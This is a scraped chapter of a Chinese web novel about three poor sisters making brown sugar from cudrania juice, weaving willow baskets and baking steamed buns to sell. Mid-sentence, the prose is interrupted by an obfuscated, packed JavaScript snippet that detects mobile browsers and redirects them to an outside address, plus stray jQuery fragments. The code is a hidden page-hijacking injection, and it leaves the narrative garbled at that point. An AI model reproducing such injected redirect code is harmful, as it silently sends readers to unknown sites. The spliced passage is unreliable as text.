默认冷灰
24号文字
方正启体

11. 第 11 章

作者:万重泉本书字数:K更新时间:
    她垂愁着眉头去灶屋,季胥已经在熬柘汁了,只见滤过后的柘汁冲入陶釜内,灶膛子里刚架起火。


    见她这模样,便知是被乡啬夫说的给难住了,季凤年纪虽只有八岁,可穷人孩子早当家,她却是带着小妹独自过活过半年的,一时都愁成什么样了,便劝慰她,


    “没事,凤妹不是说明日冯家女儿要买四个蒸饼吗?这里就是四钱。


    乡市的李屠夫也预定了二十个,这就是二十钱,这五日卖了东西再攒攒,定能凑足一百四十三钱。”


    “今日蒸饼卖的紧俏,待这红糖熬好了,我准备再做些红糖蒸饼,明日生意肯定差不了。”


    红糖蒸饼?


    季凤看向釜里那逐渐浓稠,现着一股赭红的柘汁,


    “这是柘汁做出来的?”


    季胥点头,她把熬好的柘汁倒在陶盆里,倒了有一节指头高,因陶盆只有一个,倒厚了不好,余的便倒在了陶釜的大圆盖子里,这内壁也平整,又有些沿。


    如此由其凝固了,才用刀尖横竖各划上一道道的印子,沿着这痕迹,方便掰成方块小状。


    后又拿来竹筒,将小块红糖拣进去,足足拣有两竹筒,上头还扣上刚好大点的竹盖,也能起到些密封的效果,不过她这红糖用的快,倒不用担心放坏了。


    这竹筒,还是前些日子砍回来的竹子,编完竹甑留下的二十来节竹篼节,梆硬,在墙根下晒黄了,用处极大,像家里的盘子,便是那竹篼节竖着从中一破,得来的,就是底部是弧状,容易晃荡,得左右垫两粒石子,以防翻倒了菜。


    还有,家里头有一只碗拿来盛猪油了,就剩了两只碗,她吃饭便使的竹碗,是拿柴刀当中横着削了半截竹,细细的削平整圈沿,便成两只圆口竖壁的竹碗,别说,因这竹碗底部是平的,倒还挺趁手。


    还有她卖蒸饼拴在腰间的钱筒子、装饼酵的、现下装红糖的,俱是那竹筒做的,比量好削出竹盖,便能存物了。虽是简陋些,但一个钱也不费,幸而家里有这些竹篼节,不然没个器皿,做什么都别手别脚的。


    釜底残留的糖液,半点不浪费,添了碗水进去,烧开后给两个妹妹各倒出一碗做甜嘴。


    “阿姊也喝。”


    季珠听说有甜水儿,开心极了,才喝一口,捧碗踮脚,舔着嘴唇,便让季胥喝。


    季胥因着不馋甜水才没给自己倒,上辈子她连三分糖的奶茶都觉得齁甜,况且,实在不习惯跟人对嘴喝东西。


    可季珠扑扇扑扇眼,满眼的亮,极其期待要把这甜滋滋的好东西分享给她。


    她迟疑一瞬,便弯腰啜了小口,“谢谢小珠。”


    “她惯会卖乖。”季凤扑哧有了笑意。


    季珠喝一小口,亲香黏糊的,又捧了要分与她喝。


    季胥揉揉她脑袋,让她自己喝,她才捧碗出去,向着外面,在屋檐下蹲了,咂着嘴儿,小口小口啜饮,珍惜的模样就如这是琼浆玉液。


    “凤妹也把这甜水喝了,空了碗,过会子好吃晡食了。”


    季胥道,只见她正在切瘦肉,是李屠夫给她做搭头的那小块,被切成细小的碎丝,那釜里头,舂好的米添足了水,渐渐沸了,翻腾着米花儿。


    这时,瘦肉丝加进沸腾的白粥里,撒些盐调好味,便能吃上简单的瘦肉粥了。


    季凤这舌头都多久没尝过甜了,哪能不馋甜水儿,被阿姊劝慰一番,暂抛了那口算钱的愁,也捧了碗,同季珠一道,在檐下咂着喝。


    时而还学那吃席的大人,碰个碗,一仰脖子,做干杯状,一时总算有些孩子的活泼,季胥见了也宽心。


    最后那碗甜水见了底,各自又添了小半碗水涮涮,喝进肚里才算完。


    等她们珍馐般喝完,季胥这里的瘦肉粥也好了,三人围坐着,就着陶灶吃起来。


    咸淡适中,清淡兼宜,吃的舒服,又填饱了肚。


    趁着天色未暗,季胥想去摘些柳条来编篮子,她盘算了,明日多做些蒸饼去卖,眼下这两个柳篮并不够,得再编出两个来备着。


    要说远的,五里外的灵水河畔有一溜的柳树,并许多芦苇;要近处,就说她们吃水的井边,便有一棵丝绦垂垂的老柳树,不知哪一辈子种下的,只知是公家的,孩子们喜欢摘了编项圈戴着顽,就一里远,凤、珠二个也说要去,便一道来相帮了。


    只见这会子,还有向井打水去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300271|167151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    浇菜的妇人,问她们三姊妹饭否,又问:


    “摘些破柳条子做什么?胥女这么大了也像他们孩子似的编些顽物?”


    季胥笑道:“编篮子使的,家里连装东西的家伙什儿都没有,只好打这柳条的主意了。”


    “你手艺倒巧,也教教婶儿,婶儿家也缺篮子使。”那妇人笑道。


    季胥笑道:“婶儿来,我这会子摘了回家,正要编呢。”


    妇人道挑了水,笑说这就来。


    过了会子,三人各捧着一束柳条回到家,借着未暗的天色,季胥伶俐的都将两个篮子编完了,妇人也没来,可见是玩笑话,到底不是缺东少西的人家。


    翌日鸡鸣时分,季胥亮着火把起来做蒸饼。


    昨儿个她买的面粉多,有半斛,这面粉按后世的度量衡,她掂了掂重,能有十斤出头,粗算能做一百个蒸饼,白玉蒸饼五十个,红糖蒸饼五十个。


    她想好了,红糖的贵上一个钱,卖两钱。


    季凤也起来了,能干极了,帮她烧火、向井边打水,不知替了季胥多少工夫,季胥心眼里暖慰不已,直夸她好,倒把她夸的不好意思,捅了灶火,映的两腮微红道:


    “家里的活计哪能都指望阿姊,倒教累坏了,我自是要帮着的,只恨我身板还小,不然一气能提回满当当一桶水来,一刀能劈开那粗柴,那才好呢。”


    说的季胥笑了,道:“哪有这样的蛮力,凤妹现在就好的不得了了,替了我多少。”


    两人忙得热火朝天,却也说说笑笑着,把柳篮渐渐装的满满当当。


    大房的金氏起夜,望着二房灶屋亮着昏暗火光的窗子。


    心道,又在做蒸饼?这什么蒸饼竟有这么好卖,用得着起这一大早来做?


    她悄摸摸的,趴上自家院墙,隔着些距离,朝那圈坛口圆窗子望去。


    只见季胥撸着袖子,在陶盆里揉面。


    胳膊柴杆子似的,看着细瘦,力道却足,那面团在她手里似乎十分听话,被揉得雪白光滑。


    季凤提着半桶水回来,借着月光就见那院墙模模糊糊挂着半个人影,她当即竖起眉,一声尖喝:


    “谁在那!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)